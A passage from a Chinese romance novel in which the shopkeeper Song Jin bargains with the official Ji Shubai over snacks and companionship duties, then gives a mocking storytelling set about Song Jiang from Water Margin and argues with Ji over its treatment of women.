有时候他很佩服宋瑾,明明一刻钟前还委屈巴巴地要掉眼泪,可是转瞬又满脸灿烂,好像刚刚的事情都没有发生过一样,他就不行。
他接过勺子,在咸甜两种调味之间毫不犹豫地选择了甜,土豆泥入口的一瞬间,他很满意地眯了眯眼。
“大人,你很喜欢眯眼睛唉。”
宋瑾发现季舒白的小习惯,时常眯眼看人。两只细长娟秀的眼睛一眯,眼尾狭长,就是不能配合皱眉,不然吓人。
“不可以吗?”
“当然可以,不过经常眯眼不好。”
“哪里不好了?”
“会长皱纹的。”
季舒白去舀土豆泥的手一顿,他从未想过长皱纹这回事,这不是女子们操心的么?
可宋瑾觉得,美貌的皮相是上天对人间的一种恩赐,拥有者就该好好保护,不然她看什么?
人人都爱美的事物,美人,美画,美景,拥有者应该珍惜才是。就算季舒白不敷面膜,那也不该常常眯眼。
宋瑾一手托腮,歪着脑袋很认真地看着季舒白的脸,看的季舒白极不自在,伸手搅拌了两下手边的土豆泥。
“我看不清。”
“什么?”
“我说我看不清。”
“......”
“哈哈哈——哈哈哈——”宋瑾反应了一会,忽然大笑起来。
笑得自己满脸通红,笑得季舒白满脸尴尬。
宋瑾此刻才明白过来,季舒白是个近视眼。于是想起那日与潘晟一起行酒令时,她对的“一双老眼花前暗”,还引得潘晟误会,结果自己身边这个真的是个近视眼,怪不得看不清她是男是女。
“大人——大人,我那日真不是故意要这么说你的哈哈哈——”
季舒白的脸色先红后白,嘴唇紧抿,看着宋瑾在他眼前笑得嚣张至极,却不知道该拿她怎么办。
“不许笑。”
低低的一声,却很有效果,宋瑾收敛了些,重新去看季舒白那张脸,又见他皱着眉头,眼睛无法克制地眯了一下。
“哈哈哈——”
很过分的笑声。
季舒白觉得土豆泥不香了。
“你再这般无礼,我就不向柴恒举荐你了。”
宋瑾瞬间哑住,季舒白不禁感慨,对付她,还是银钱好使。
“季大人刚刚去送裴姑娘呢。”宋瑾没话找话,企图让场面别太尴尬。
“嗯。”季舒白语气淡淡的。
“你们说什么了呀?”
季舒白停了手上勺子,抬眼看她:“你关心这个做什么?”
他不肯说,宋瑾越发好奇了。
“好奇嘛,我看裴姑娘......对你挺上心的。”宋瑾有点吃醋,她也想人家对她上上心。
“我去送她,是因为要解释你为什么撒谎,不是为了送她而送她。”季舒白没好气地解释。
“解释?怎么解释?”
季舒白大抵吃够了,放下了手中勺子:“我去告诉她,你之所以扮男装,乃是我授意,叫她不要伸张。”
“啊?”
“你啊什么?”季舒白瞪她一眼,“难道你会不明不白的扯谎么?”
说白了,季舒白帮她兜了底,让一切都变得顺理成章,而不是她撒谎成性,或者其他原因。
宋瑾看着手中那勺土豆泥,有些食不知味起来。
“那......多谢大人了。”
“现在还委屈么?”
宋瑾扬起大大的笑脸:“不委屈,一点儿都不委屈。”
季舒白也忍不住笑了起来:“既如此,往后逢五日你便来吧。”
“好啊,我刚好有这个打算,往后多给大人送些新鲜样式的点心来,大人喜欢哪个,我就给你往衙门里头送。大人若是吃不完的话,就帮我送给衙门里其他的女眷呗,顺便提一提我们陆家食铺,就在古槐街上,很好找的,嘿嘿。”
季舒白听到后面明白过来了,她要他帮着把点心送到其他客人面前,遇上满意的,便好使唤人去买。
“你挺会做生意啊。”
“嘿嘿,大人帮帮忙呗。”
“也不是不行,不过......”季舒白身子往后靠了靠,整个人都倚在梳背上:“你要早来,晚走,裴姑娘不走你不许走。”
宋瑾一听这话,脸立刻垮了。
这算什么?电灯泡啊?
“为什么呀?你们二人相处的时间,你把我扣这里做什么呀?”
这得多讨人嫌。
“你若不肯,那就别指望我帮你送点心。”
季舒白竟然威胁起了人,倒是少见。
可是宋瑾不乐意了。
人家小姑娘来见爹娘希望她嫁的人,那自然是冲着增进感情而来的,她杵在面前算什么?还是个女子,这得引起多大的误会啊?小姑娘不得恨死她。
“不送不就不送,我不做这招人嫌的事。”
“你还怕招人嫌?”
她都差点把他送进牢里了,还会怕这个?他不信。
“这不一样,人家姑娘是冲着嫁你来的,我一个女子,她来我也来,她不走我不走,这算什么?她跟你增进感情,我来这里不是捣乱嘛。我不干。”
不带丝毫犹豫地,宋瑾给拒绝了。
季舒白腮帮子微鼓,他帮她那么多,如今第一回找她帮忙,却被断然拒绝,太没良心。
“她不嫁我。”
“她爹娘说了算。”
“她爹娘管不着我。”
季舒白语气不善,似乎也有些怒意,宋瑾略缩了缩脖子,不知道该怎么办了。<
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“那......那你跟人家姑娘说清楚呀。”
吊人,实属渣男行径。
“你怎么知道我没说清楚?”
宋瑾手指头抠着手中瓷勺,不知道该怎么接话了。
“那......那说清楚了,那......”
“她来,是她爹娘让她来,我让她留,是为了让她好交待。我们之间没什么感情,也没什么话说,干坐着大家都难受,正好你来陪她说话,我看她也爱听。”
“这个行啊。”宋瑾一听两人说的清爽,只叫她来陪那裴姑娘说话,顿时来了精神:“我陪着姑娘,你爱写什么就写什么,我们两个保证不打扰你。”
宋瑾的笑意隐藏不住,如今她在裴姑娘面前是个女子了,不用那么拘谨了,肯定聊的更开心。
季舒白见了一笑:“好,不过你要做饭。”
“这个得给钱。”
“你个财奴。”
“嘿嘿——”
两人说定,往后宋瑾每逢五日便到老宅来找他,届时裴姑娘也在,她便带些吃的喝的来陪姑娘说话,若是午间不走,她便要做饭。
宋瑾要求,做饭的银子另付,季舒白答应了,接着又问她铺子经营的如何。
“生意兴隆。”
宋瑾是这么概括的,接着起身,将那竹椅往旁边一推,开始挥舞着双臂给季舒白说起自己伟大的事业。
说她是如何把油炸花生米推销进其他酒楼的,说她是如何重新跟柴家搭上线的,说她又准备做哪些新点心的,说的抑扬顿挫,两袖齐舞。
知道的说她聊的是菜,不知道的还以为哪个将军又占下了哪座城池了,站在那里振臂高挥。
季舒白见她这样,不禁好奇地问:“你不是要说书么?准备的如何了?”
“我过几日便说。”
“打算说谁的故事?”
宋瑾抱怨:“就你给我那薄薄的一本,还不够说清楚九纹龙是怎么上梁山的呢。”
“谁叫你不来取的。”季舒白觉得怪她自己,取书不积极。
宋瑾嘴一撇:“我现在就拿。”
季舒白这回没客气,抱给她厚厚的一叠,压的宋瑾双臂往下一沉,接着弯下腰来,嘴角噙着笑意:“抱在路上慢慢走。”
宋瑾皱起眉头,手上紧紧抱着那些书。
沉,真沉。
“你好好看,到时好好的说,我要去听的。”
“啊?”
“你啊什么?你拿的我的书,我去检查检查你有没有好好看不行么?”
“行,当然行。”
宋瑾是有些心虚的,因为她说书的主题是:论梁山好汉的真面目。
“那就好,可别叫我觉得这书白借了。”
教导主任的臭毛病,也不知道几时才能改掉。
唉......
“大人,今日这点心如何,若是喜欢,我明日做了往府衙送去,你帮我送送其他人呗。”
季舒白坐回太师椅中,看了眼书案上的糯米糍,开始挑起了刺。
“芝麻抢味了。”
“哪里抢味了?”
她明明看他吃的挺香的,可季舒白给她解释。
芝麻太香,压过了桃子的清甜,味道太混,不如单独来的好吃。
“行,下次给你换黄豆粉,那个香气淡多了。”
一场心思白费了,还是得依老法子来。
99. 争执
宋瑾说书的计划就安排在几日后。
铺子里买了酒水,上了桌椅,留出大半空间来摆放,靠门口的位置摆着油炸花生米和五香蚕豆,焦香四溢,两个伙计已经在门口吆喝着喊客了。
宋瑾说书的台子也简单的很,她不坐着,而是站着。身前摆了一张小桌子,放了茶水,不点油灯,光线暗暗的,她站在那里,手里抓着把扇子,叫人根本看不清脸。
站着说书是宋瑾的习惯,就像上台演讲一样,没有一个身份抬着,就会觉得坐在那里讲会没有气势。毕竟她也是初入这一行,得慢慢适应着来。
宋瑾就着这么一个简陋的台子,手中抓着季舒白赠的那把扇子,扇子一撒,就这么开讲了。
季舒白在宋瑾第二日往府衙送点心的时候便已知晓她要开始说书的日子,兴致所起,这日天刚擦黑,他便换了常服,带着青杉,让一顶轿子抬着到了古槐巷里。在青杉的指引下,找到了那间陆家食铺。
铺子不大,但整洁干净,几张桌椅板凳摆的整齐,却非簇新的。
宋瑾选的二手的家具,让伙计们专门去找当铺里没人赎的那种,结实能用就成。
他择了一个角落,青杉替他擦了凳面,他才坐了上去。
一碟子花生米,一碟子五香蚕豆,还有宋瑾特意为他备下的黄金玉米烙,添了一碗南浔酒,也不吃,也不喝,就坐在那里摇着一把扇子,静静地听宋瑾开讲。
然而没听多久,他的眉头就皱了起来,渐渐的那扇子也不摇了,脸也白了。
再看桌后的宋瑾,手舞足蹈,兴致盎然,一张嘴一张一合,根本停不下来。
“说起那宋江,我看还不如在座的各位。”
“论模样,他面黑身矮,因此得了个诨号,人唤他做黑宋江。”
“论智谋,也就是半桶水的水平。”
“此人最好演那身在曹营心在汉的把戏,假忠心。”
“身为押司,却与劫取生辰纲的晁盖勾勾搭搭。待上了梁山落草为寇,却又想着要为朝廷效命,接受了诏安,最后害的昔日一起出生入死的兄弟们死的死,伤的伤,叫人哀叹。”
“众人说他刀笔精通,吏道纯熟,细究起来,全是那纸上谈兵的本事。又说他爱耍枪棒,习得诸般武艺,真用起来,那也是洋相百出啊。”
“话说那宋江三打祝家庄,若不是有那豹子头林冲挟了扈三娘,只怕咱们这位宋公明就要被一女子撂下马背来,届时定要大喊‘孩儿们救人啊——’。”
底下坐着诸人哄堂大笑起来,唯有季舒白脸色煞白。
这讲得当真是水浒?
忠义呢?
这不是骂人嘛?
宋瑾她似乎看书了,可看的是什么?讲的又是什么?
季舒白没有心思再听下去,收起扇子,垂着脑袋,脚步虚浮地往外走去。
自他进门的一刹那,宋瑾便已瞧见了他,只是见他一身常服,身边又未曾带着承差皂隶,便知道他不想引人注意,因此她便没有言声。谁知她刚刚开场没多久呢,那人便走出门去了。
宋瑾一时拿捏不住,书说到一半,向众客赔了个笑脸,也跟着跑了出来。
“季大人——季大人——”宋瑾小跑着追了上来,笑得一脸灿烂:“季大人今日真的来了,小店真是柴门有庆,蓬荜生辉呀,嘻嘻——”
季舒白脚下停住,板着脸问她:“你今日说的水浒?”
“是啊,就是水浒呀。”
“你怎的这样说?”
“我哪样说了?”宋瑾好生坦然。
季舒白转过身来,正面朝着宋瑾,一脸严肃道:“这宋公明分明是眼如丹凤,眉似卧蚕,感乾坤之秀气,聚山岳之降灵,你怎的说人家面黑身矮?”
宋瑾辩:“没错呀,‘面黑身矮,人都唤他做黑宋江’,我哪里说错了?”
季舒白倒吸一口凉气,确实没错,但这两个特质是同时存在的,可宋瑾就只说了一个。
她专挑人家丑的说。
他料定,宋瑾讨厌宋江。
“你不喜欢宋江的,是不是?”
“我为何要喜欢他?又丑又笨又不道义,打起架来还不如女人呢,他还杀老婆,这样的男子我为何要喜欢?”
宋瑾一口气列下宋江数个罪状,几乎给季舒白气笑了。
“你这人怎的以貌取人呢?说他不道义,他不道义能结识江湖好汉?能有人来投奔他?书上明明说的是‘济人贫苦,周人之急,扶人之困,’说他如及时雨一般,这才有了这个诨号,你怎的说人家不道义?他不道义他的那帮兄弟能请他坐上梁山上的第一把交椅?”
宋瑾不服气:“他道义?我瞧着就是秦明没骨气,换做是我,我定要假拜兄弟,寻机杀了这厮,好替家人百姓报仇!”
宋瑾说的义正词严,惹得季舒白都以为她是个仗义之士。
“此话也不能这样讲,毕竟各方立场,各为打算。”
“那秦明就是个软蛋!这里头的男人个顶个的糟糕,我瞧那宋江,定有龙阳之好。”宋瑾气哼哼的,根本不吃季舒白那一套。
“你又胡说!”
季舒白气的不轻,这都歪曲到哪里去了。
“我哪里胡说了,明明娶了人家,却又说对女色不上心,只好耍枪弄棒。娶个娘子欢好不了几日就将人丢在那里,人家娘子能不难受么?”依着宋瑾来看,这不就是同妻么?
“他爱耍枪弄棒,我瞧着也假,你看九纹龙喜爱,那能力多强呀,半年习得十八班武艺。你再看宋江,三打祝家庄就数他和王矮虎最是丢人。要不是一帮兄弟帮着他,护着他,他早叫扈三娘抓走了,哪有机会糟蹋扈三娘。”
季舒白倒吸一口凉气,反问道:“怎的又说他糟蹋扈三娘?刚刚明明说的是人家不好女色。”
“拿人配了王矮虎就是糟蹋。”宋瑾慷慨激昂。
“人家原先已经定亲了。那祝彪富家子弟,武艺高强,两家关系亲密,相互照应。他宋江来打祝家庄的时候,扈三娘还带人来帮了祝彪,捉了王矮虎呢,人家那才叫情投意合。王矮虎算什么?车家出身,竟然劫起客人,又天生好色,岂能与祝彪相比。”
“从前倒没看出来,你竟这般仗义。”季舒白话中带着讽刺,激的宋瑾脸上一红。
“对奴家擅自打骂的时候,也没见主家多么仁慈,你怎的竟说我的不好?你同我有什么区别?”
季舒白被她一句话给说愣了,半晌没想出反驳的话来。
宋瑾只说宋江的不好,季舒白便觉得宋瑾对他有偏见,如今自己也尽说宋瑾的不好,他二人实在没什么区别,都是带着偏见的。
“好了,这话是我不对,我不当这样讲的。”莫名的,季舒白的心里生出些愧疚来,声量都小了许多。
宋瑾眼睛里含着泪花,脑袋也垂了下去,嘴巴里仍不忘嘀嘀咕咕:“明明是一帮土匪,非要说人家是什么好汉,我
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还是头一回听说杀妻的是好汉。照这个说法,那潘金莲也应该坐梁山泊的第一把交椅。”
“这就不讲道理了。”季舒白像理亏的小孩,又觉得自己不完全理亏,想辩驳,又不敢说的大声,竟然也学着宋瑾,垂着头轻声嘀咕起来。
“人家好好的祝家庄,他来打就打,将人家未婚的夫君也劈了,这也就罢了,转手将人家姑娘许给了王矮虎,可怜扈三娘,竟然还要效忠于他,他还做不做人了?”
宋瑾实打实觉得宋江不是东西,根本不做人,一想到扈三娘的处境,她忽然双手捏拳,身子微缩,狠狠蓄力后重重地一跺脚,嘴上极不满地哼了一声。
“你哼什么?”
“我问你,你可是不喜那裴姑娘,不愿娶她为妻?”
宋瑾质问起季舒白来,意外的,季舒白竟不觉得冒犯,而是坦诚答她:“是又如何?”
“那我问你,若是如今有人迫你娶她呢?”
“我不娶。”季舒白似乎猜到宋瑾要说什么,头垂着歪向一边,脸颊有些气鼓起来。
“若有人逼迫你呢?”宋瑾追着不放。
季舒白脸色难看至极,咬着牙道:“不娶!”
“你看你看,”宋瑾像是刚刚战胜的将军,理又直,气又壮的:“你不想娶的人,你就不愿意娶。你倒说说,那扈三娘钟情王矮虎么?人家好好的未婚相公,被捉杀了也就罢了。那宋江将一个女子掳上山去,转头就将人配了王矮虎,强行嫁了个好色之徒,这算什么?种猪才这般配呢。”
宋瑾说话实在难听,话里话外都是宋江不做人事,季舒白忍不住道:“谁说人家是随意配的,后头二人不是也生出情分来了么?那王英死之时,扈三娘还冲入敌阵,奋勇杀敌呢。”
“哼!待你哪日招架不住,娶了那裴姑娘,我定要在你们二人出双入对的时候,凑到你面前说你们鹣鲽情深,我看你恼与不恼。”
“你为何总是牵连上我?”季舒白眼下就有些恼了。
“你这就叫事不关己,由的他人胡说,待哪日你身在其中了,怕你哭也来不及。”
季舒白被她说的无言以对,愤愤地转过身去,两人杵在街头,都是气鼓鼓的。
过了半晌,季舒白将话题岔开:“这宋江也不是一无是处的,后来征战方腊也是立下了大功,这关系到一方百姓,乃是家国大义。”
“哼,你们男人就爱拿家国大义来唬人,你们是大义了,可人家女子连家都没有了。”
“你——”季舒白总说不过她,又不知道该从哪里争起,谁知自己还没想好,宋瑾突然凑过来压低声音道:“那方腊乃是一方农民起义军,真论起来.......像不像咱们的开国皇帝?”
“休要胡说——”
季舒白叫她说的,神色慌张地四处打量,幸好无人在旁。
“你再敢胡说,小心惹祸上身。”
宋瑾听罢,双唇紧抿,形同上锁,将一颗脑袋摇的拨浪鼓似的,满脸都写着:不说了不说了再也不说了。
本来季舒白是有些气的,怕她口不择言,四处乱说,只怕到时自己也保不了她。
谁知自己低声一喝,她立刻做出保命样来,惹得他想笑。
“罢了,我瞧着你不适合说书。”
宋瑾不高兴了:“我哪里不适合了?我明明说的挺好的,我只是拣选着说而已。”
季舒白两眼一闭,一声长叹,她这是尽拣选着污点说呀。